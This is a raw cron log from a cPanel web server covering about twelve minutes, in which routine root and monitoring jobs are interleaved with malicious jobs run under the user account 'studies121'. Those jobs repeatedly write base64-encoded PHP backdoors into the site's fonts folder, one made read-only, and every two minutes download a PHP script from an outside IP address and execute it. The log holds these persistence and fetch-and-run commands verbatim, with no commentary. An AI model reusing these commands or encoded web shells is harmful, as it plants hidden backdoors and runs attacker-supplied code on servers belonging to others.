Sep  2 21:31:01 ip-184-168-122-23 CROND[15144]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:31:01 ip-184-168-122-23 CROND[15145]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:31:01 ip-184-168-122-23 CROND[15147]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 21:31:01 ip-184-168-122-23 CROND[15146]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:32:01 ip-184-168-122-23 CROND[15234]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 21:32:01 ip-184-168-122-23 CROND[15236]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 21:32:01 ip-184-168-122-23 CROND[15238]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:32:01 ip-184-168-122-23 CROND[15237]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:32:01 ip-184-168-122-23 CROND[15239]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:33:02 ip-184-168-122-23 CROND[15318]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:33:02 ip-184-168-122-23 CROND[15320]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 21:33:02 ip-184-168-122-23 CROND[15322]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:33:02 ip-184-168-122-23 CROND[15321]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:34:01 ip-184-168-122-23 CROND[15403]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:34:01 ip-184-168-122-23 CROND[15407]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 21:34:01 ip-184-168-122-23 CROND[15404]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 21:34:01 ip-184-168-122-23 CROND[15406]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:34:01 ip-184-168-122-23 CROND[15405]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:35:01 ip-184-168-122-23 CROND[15590]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  2 21:35:01 ip-184-168-122-23 CROND[15592]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 21:35:01 ip-184-168-122-23 CROND[15596]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:35:01 ip-184-168-122-23 CROND[15600]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:35:01 ip-184-168-122-23 CROND[15599]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 21:35:01 ip-184-168-122-23 CROND[15598]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 21:35:01 ip-184-168-122-23 CROND[15597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:35:01 ip-184-168-122-23 CROND[15601]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 21:36:01 ip-184-168-122-23 CROND[15698]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 21:36:01 ip-184-168-122-23 CROND[15700]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 21:36:01 ip-184-168-122-23 CROND[15702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:36:01 ip-184-168-122-23 CROND[15701]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:36:01 ip-184-168-122-23 CROND[15703]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:37:01 ip-184-168-122-23 CROND[15786]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:37:01 ip-184-168-122-23 CROND[15785]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:37:01 ip-184-168-122-23 CROND[15788]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:37:01 ip-184-168-122-23 CROND[15787]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 21:38:01 ip-184-168-122-23 CROND[15879]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 21:38:01 ip-184-168-122-23 CROND[15881]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 21:38:01 ip-184-168-122-23 CROND[15884]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:38:01 ip-184-168-122-23 CROND[15883]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:38:01 ip-184-168-122-23 CROND[15882]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:39:01 ip-184-168-122-23 CROND[15970]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:39:01 ip-184-168-122-23 CROND[15971]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:39:01 ip-184-168-122-23 CROND[15974]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 21:39:01 ip-184-168-122-23 CROND[15975]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 21:39:01 ip-184-168-122-23 CROND[15976]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:40:01 ip-184-168-122-23 CROND[16162]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 21:40:01 ip-184-168-122-23 CROND[16165]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 21:40:01 ip-184-168-122-23 CROND[16167]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:40:01 ip-184-168-122-23 CROND[16166]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 21:40:01 ip-184-168-122-23 CROND[16172]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 21:40:01 ip-184-168-122-23 CROND[16175]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:40:01 ip-184-168-122-23 CROND[16177]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:40:01 ip-184-168-122-23 CROND[16176]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 21:41:01 ip-184-168-122-23 CROND[16265]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 21:41:01 ip-184-168-122-23 CROND[16268]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:41:01 ip-184-168-122-23 CROND[16267]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:41:01 ip-184-168-122-23 CROND[16269]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:42:01 ip-184-168-122-23 CROND[16353]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 21:42:01 ip-184-168-122-23 CROND[16355]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:42:01 ip-184-168-122-23 CROND[16356]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 21:42:01 ip-184-168-122-23 CROND[16358]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:42:01 ip-184-168-122-23 CROND[16357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:43:01 ip-184-168-122-23 CROND[16445]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
